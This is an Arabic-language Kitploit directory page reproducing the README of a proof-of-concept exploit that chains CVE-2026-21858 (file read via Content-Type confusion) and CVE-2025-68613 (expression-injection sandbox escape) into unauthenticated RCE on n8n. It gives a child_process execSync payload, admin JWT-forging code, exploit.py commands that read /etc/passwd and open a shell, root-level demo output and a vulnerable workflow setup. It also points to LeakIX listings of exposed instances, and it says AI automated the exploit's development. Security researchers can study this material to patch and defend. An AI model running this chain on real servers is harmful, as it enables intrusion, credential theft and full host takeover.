Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-21858 — POC لـ CVE-2026-21858 | Kitploit
أدوات/GitHubGitHub/fomovet/cve-2026-21858
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC لـ CVE-2026-21858

عرض المستودع
134منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-21858 + CVE-2025-68613 - سلسلة n8n الكاملة

قراءة ملفات عشوائية بدون مصادقة ← تزوير توكن المسؤول ← تجاوز العزل ← RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (حرِج)
المتأثر<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
الإصلاح1.121.0 (AFR) / 1.120.4+ (RCE)
الإفصاح2026-01-07 11:09 UTC
الاسم الرمزيNi8mare
الإسنادDor Attias (Cyera)
الاستغلالChocapikk
العمليةآلي بالذكاء الاصطناعي: فرق التصحيح → إعادة الإنتاج → المختبر → الاستغلال (~9 ساعات بعد الإفصاح)
النوعإثبات مفهوم - ليس استغلالًا شاملًا (يتطلب إعداد سير عمل محدد، انظر القيود)

TL;DR

سلسلة RCE كاملة بدون مصادقة على n8n:

  1. CVE-2026-21858 - الالتباس في نوع المحتوى (Content-Type) → قراءة ملفات عشوائية
  2. قراءة الإعدادات وقاعدة البيانات ← تزوير توكن JWT للمسؤول
  3. CVE-2025-68613 - حقن التعبيرات ← تجاوز العزل ← RCE

الاكتشاف

التعرض مرتبط بالإصدار. من حيث التعرض، توجد نسخ n8n ضعيفة متاحة للجمهور.

نتائج LeakIX: عرض النسخ المعرضة

نتائج اكتشاف LeakIX

لماذا هذا الاستغلال؟

طُوّر هذا الاستغلال بشكل مستقل عن تقرير Cyera (وقد اكْتُشف هذا التقرير بعد اكتمال التطوير). أبرز الاختلافات:

Cyera (البحث الأصلي)هذا الاستغلال
قراءة الملفاتتحميل في قاعدة معرفة الذكاء الاصطناعي → الاستعلام عبر الدردشةاستجابة HTTP مباشرة
المتطلبات المسبقةسير عمل دردشة + تكامل ذكاء اصطناعيأي نموذج يحتوي على رفع ملفات
طريقة RCEعقدة "Execute Command" (معطلة افتراضيًا)حقن التعبيرات (يعمل على التثبيتات الافتراضية)
الأتمتةعرض يدوي/مفاهيميسكربت Python آلي بالكامل

يتطلب كلا الأسلوبين تكوينات محددة لسير العمل. يحتاج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. انظر القيود للتفاصيل.

سلسلة الهجوم

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - قراءة ملفات عشوائية عبر الالتباس في نوع المحتوى

التصحيح

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

الأسطوري "Merge commit from fork" - عندما ترى هذا، فقد وجد شخص ما شيئًا مثيرًا. 🌶️

السبب الجذري

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

أرسل Content-Type: application/json → تحكّم في filepath → اقرأ أي ملف.

CVE-2025-68613 - حقن التعبيرات لتنفيذ أوامر عن بُعد (RCE)

لماذا هذا الالتفاف؟

يعزل n8n كود المستخدم (عقدة Code، التعبيرات) باستخدام vm2/isolated-vm. ناقلات RCE الأخرى:

التقنيةالحالة
Execute Command Nodeمعطلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false)
عقد SSH/HTTPتنفذ على خوادم بعيدة، وليس على مضيف n8n
الهروب من عزل PyodideCVE-2025-68668 - يتطلب Python Code Node
حقن التعبيراتCVE-2025-68613 - يعمل على التثبيتات الافتراضية

استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - دون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.

الحمولة

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

تعبيرات n8n لديها وصول إلى this.process.mainModule.require → هروب كامل من العزل.

تزوير التوكن

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

إعداد المختبر

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

الاستخدام

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

العرض التجريبي

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

القيود

هذا ليس استغلالًا "لاختراق أي n8n". يتطلب ظروفًا محددة لكي يعمل:

المتطلبالوصف
نموذج يحتوي على رفع ملفاتيجب أن يمتلك الهدف سير عمل نموذج يحتوي على حقل رفع ملفات
عقدة Respond to Webhookيجب أن يُرجع سير العمل محتوى الملف في استجابة HTTP
سير العمل مفعّليجب أن يكون سير عمل النموذج مفعّلًا
وصول بدون مصادقةيجب أن يكون النموذج متاحًا للعامة (بدون مصادقة)

مثال على إعداد سير عمل قابل للاستغلال:

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في سير عمل معالجة الملفات (المحوّلات، معالجات الصور، معالجات المستندات).

تنزيل الأداة